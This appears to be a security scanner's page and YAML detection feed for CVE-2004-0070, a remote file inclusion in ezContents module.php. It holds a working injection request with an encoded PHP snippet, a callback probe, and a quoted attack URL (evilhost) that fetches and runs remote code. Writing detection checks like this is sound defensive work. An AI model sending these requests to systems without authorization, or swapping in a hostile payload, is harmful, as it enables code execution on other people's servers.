ezContents — 1 vulnerability check
noctis ships 1 vulnerability check for ezContents, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
ezContents module.php link Remote File Inclusion
| CVE | CVE-2004-0070 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/ezcontents/CVE-2004-0070.yaml |
Tests ezContents for the unauthenticated remote file inclusion in module.php, which passes the link parameter to PHP's include() without any check when register_globals is on. The feed requests module.php under the web root and the usual install folders with link set to a data: URL carrying a small PHP snippet that prints the md5 of the product of two random numbers; that md5 in the reply confirms that the server ran code supplied in the request. When OOB is enabled, link is also set to the scanner's callback URL, and a fetch of that URL confirms the remote inclusion even when PHP output and errors are hidden. Otherwise, the feed sets link to a URL on a random, non-existent host and looks for PHP's include warning naming that exact URL, which shows that the value reaches include() unchecked; fixed releases refuse URLs with a patch message. The snippet only prints a hash and nothing is written on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/module.php?link={{probe.data}} - Parses / computes the next value with a Rhai script
- Checks
rce_prooffor^[0-9a-f]{32}$→ finding QoD 97: ezContents module.php link Remote File Inclusion (CVE-2004-0070) - HTTP(S) request
GET {{dir}}/module.php?link={{probe.url}} - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/module.php?link={{oob_url}} - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: ezContents module.php link Remote File Inclusion (CVE-2004-0070)
- Checks
warn_dirfor^(|/ezcontents|/ezContents)$→ finding QoD 75: ezContents module.php link Remote File Inclusion (CVE-2004-0070)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2004-0070
- http://marc.info/?l=bugtraq&m=107392588915627&w=2
- http://www.securityfocus.com/bid/9396
- http://www.osvdb.org/6878
Feed source — tests/vulnerabilities/ezcontents/CVE-2004-0070.yaml
# ezContents module.php link remote file inclusion — CVE-2004-0070
#
# ezContents 1.4.x (ezcontents.org, PHP/MySQL CMS) relies on register_globals.
# module.php loads its config and session, prints the page frame, then runs
#
# include($link);
#
# with no check, so module.php?link=http://<attacker>/x.php fetches and runs
# PHP code from any server (Bugtraq, 2004-01-10: module.php?link=http://
# evilhost/index.php). The fixed 2.0.3 refuses URL schemes before including
# the value from "./" (isExternalLink(): http:, https:, ftp:, file:, …) and
# prints "Remote Code Execution Patch Installed on this implementation of
# ezContents" instead.
#
# Detection, per install folder (the web root, /ezcontents, /ezContents):
# 1. In-band code execution (QoD 97): link is a data: URL holding
# <?php echo md5(A*B);exit;?> with random A and B. When PHP may include
# URLs (allow_url_include, PHP >= 5.2) the code runs and the reply carries
# md5 of the product, a value the request never contains. The fixed code
# prefixes "./", so the snippet is never run there; a refused wrapper
# quotes the code text, not the md5. Nothing is written.
# 2. OOB (QoD 97, only when OOB is enabled): link is the noctis callback URL;
# a fetch of it is the remote inclusion (allow_url_fopen on PHP 4 / 5.0 /
# 5.1, allow_url_include later). Also covers hidden PHP errors.
# 3. Fallback (QoD 75), the source check's request: link is
# http://<random>.invalid/index.php; the reply must carry PHP's include
# warning (main(…) / include(…) / "Failed opening '…' for inclusion")
# naming that exact URL: the URL went to include(). The fixed code
# answers with its patch message and never includes a URL.
# No local-file branch: 2.0.3 still includes local module paths by design.
#
# CVSS: NVD v2 7.5 (no v3 score).
#
# Ported from OpenVAS/Greenbone NVT pre2008/ezcontents_code_execution.nasl
# (OID 1.3.6.1.4.1.25623.1.0.12021, GPL-2.0-only). Improvements: real code
# execution / OOB proof instead of the include warning alone; the warning is
# matched on a random host name (the source check's "http://xxxx./index.php"
# could be echoed by any page), and in both PHP 4 (main()) and PHP 5
# (include()) forms — the source pattern also requires "modules.php" after the
# URL, which the real warning ("… in /path/module.php") does not carry.
uid: 5c3a09bc-948d-49bd-aa57-05365a36d639
name: "ezContents module.php link Remote File Inclusion (CVE-2004-0070)"
description: |
Tests ezContents for the unauthenticated remote file inclusion in
module.php, which passes the link parameter to PHP's include() without any
check when register_globals is on. The feed requests module.php under the
web root and the usual install folders with link set to a data: URL
carrying a small PHP snippet that prints the md5 of the product of two
random numbers; that md5 in the reply confirms that the server ran code
supplied in the request. When OOB is enabled, link is also set to the
scanner's callback URL, and a fetch of that URL confirms the remote
inclusion even when PHP output and errors are hidden. Otherwise, the feed
sets link to a URL on a random, non-existent host and looks for PHP's
include warning naming that exact URL, which shows that the value reaches
include() unchecked; fixed releases refuse URLs with a patch message. The
snippet only prints a hash and nothing is written on the server.
cves: [CVE-2004-0070]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [ezcontents, php, rfi, remote-file-inclusion, rce, register-globals, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2004-0070"
- "http://marc.info/?l=bugtraq&m=107392588915627&w=2"
- "http://www.securityfocus.com/bid/9396"
- "http://www.osvdb.org/6878"
# OpenVAS/Greenbone NASL pre2008/ezcontents_code_execution.nasl (GPL-2.0-only)
steps:
# ── Probe values, shared by every folder ─────────────────────────────────
# md5(A*B) is printed only when the included snippet actually runs.
- id: build-probe
action: script
code: |
let a = rand_int(10000, 99999);
let b = rand_int(10000, 99999);
#{
data: "data%3Atext%2Fplain%2C%3C%3Fphp%20echo%20md5(" + a + "*" + b + ")%3Bexit%3B%3F%3E",
expect: md5("" + (a * b)),
url: "http://noctis" + tolower(rand_str(12)) + ".invalid/index.php"
}
store_as: probe
- id: init-warn-found
action: set_var
var_name: warn_found
var_value: false
- id: init-warn-dir
action: set_var
var_name: warn_dir
var_value: ""
- id: init-oob-sent
action: set_var
var_name: oob_sent
var_value: false
# ── Loop group: every following step up to the OOB wait runs once per
# install folder. Each pass resets the values it reads.
- id: init-rce-r
action: set_var
var_name: rce_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/ezcontents", "/ezContents"]
- id: init-rce-proof
action: set_var
var_name: rce_proof
var_value: ""
- id: init-warn-r
action: set_var
var_name: warn_r
var_value: {status: 0, body: ""}
- id: init-warn-cand
action: set_var
var_name: warn_cand
var_value: ""
# ── 1. data: URL — in-band code execution ────────────────────────────────
- id: rce-probe
action: http_request
method: GET
path: "{{dir}}/module.php?link={{probe.data}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rce_r
- id: rce-check
action: script
code: |
if type_of(rce_r.body) == "string" && rce_r.body.contains(probe.expect) { probe.expect } else { "" }
store_as: rce_proof
- id: report-rce
action: match
source: rce_proof
pattern: "^[0-9a-f]{32}$"
condition: 'rce_proof != ""'
on_match:
finding:
title: "ezContents module.php link Remote File Inclusion (CVE-2004-0070)"
description: "An unauthenticated request to module.php with link set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. ezContents passes link to include() without any check when register_globals is on, so an attacker can run any PHP code on the server."
remediation: "Upgrade ezContents to 2.0.3 or later, which refuses URLs in module.php. Disable register_globals (or upgrade PHP to 5.4 or later, where it no longer exists) and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "GET {{dir}}/module.php?link=data:text/plain,<?php echo md5(A*B);exit;?> returned the expected md5 {{rce_proof}} (included PHP code executed)"
stop: true
# ── 3. URL on a random host — include warning naming it (fallback) ───────
# Sent to every folder not answering 404 (also when the code probe got no
# reply, status 0, e.g. a filter dropping "<?php").
- id: warn-probe
action: http_request
method: GET
path: "{{dir}}/module.php?link={{probe.url}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "warn_found == false && rce_r.status != 404"
store_as: warn_r
- id: warn-check
action: script
code: |
let b = if type_of(warn_r.body) == "string" { warn_r.body } else { "" };
let u = probe.url;
if b.contains("Failed opening '" + u + "' for inclusion")
|| b.contains("main(" + u + ")") || b.contains("include(" + u + ")") { u } else { "" }
condition: "warn_found == false"
store_as: warn_cand
- id: warn-dir
action: script
code: "dir"
condition: 'warn_found == false && warn_cand != ""'
store_as: warn_dir
- id: warn-found
action: set_var
var_name: warn_found
var_value: true
condition: 'warn_cand != ""'
# ── 2. Callback URL — remote inclusion seen out of band ──────────────────
- id: oob-probe
action: http_request
method: GET
path: "{{dir}}/module.php?link={{oob_url}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "oob_enabled && rce_r.status != 404"
- id: oob-sent
action: set_var
var_name: oob_sent
var_value: true
condition: "oob_enabled && rce_r.status != 404"
- id: oob-wait
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && oob_sent"
on_success:
finding:
title: "ezContents module.php link Remote File Inclusion (CVE-2004-0070)"
description: "An unauthenticated request to module.php with link set to the noctis callback URL made the server fetch that URL: ezContents passes link to include() without any check when register_globals is on, so an attacker can make it fetch and run PHP code from a server they control."
remediation: "Upgrade ezContents to 2.0.3 or later, which refuses URLs in module.php. Disable register_globals (or upgrade PHP to 5.4 or later, where it no longer exists) and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "OOB HTTP callback received after GET <dir>/module.php?link=<OOB URL> (remote file inclusion)"
stop: true
# ── Fallback finding: include warning naming the random URL ──────────────
- id: report-warn
action: match
source: warn_dir
pattern: "^(|/ezcontents|/ezContents)$"
condition: "warn_found"
on_match:
finding:
title: "ezContents module.php link Remote File Inclusion (CVE-2004-0070)"
description: "An unauthenticated request to module.php with link set to a URL on a random, non-existent host returned PHP's include warning for that exact URL: ezContents passes link to include() without any check when register_globals is on, so an attacker can make it include a PHP file from a server they control. Code execution was not confirmed (URL inclusion may be disabled, the target may not reach the internet, or OOB was not enabled)."
remediation: "Upgrade ezContents to 2.0.3 or later, which refuses URLs in module.php. Disable register_globals (or upgrade PHP to 5.4 or later, where it no longer exists) and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.55
qod: 75
evidence: "GET {{warn_dir}}/module.php?link={{probe.url}} returned a PHP include warning naming {{probe.url}}"
stop: true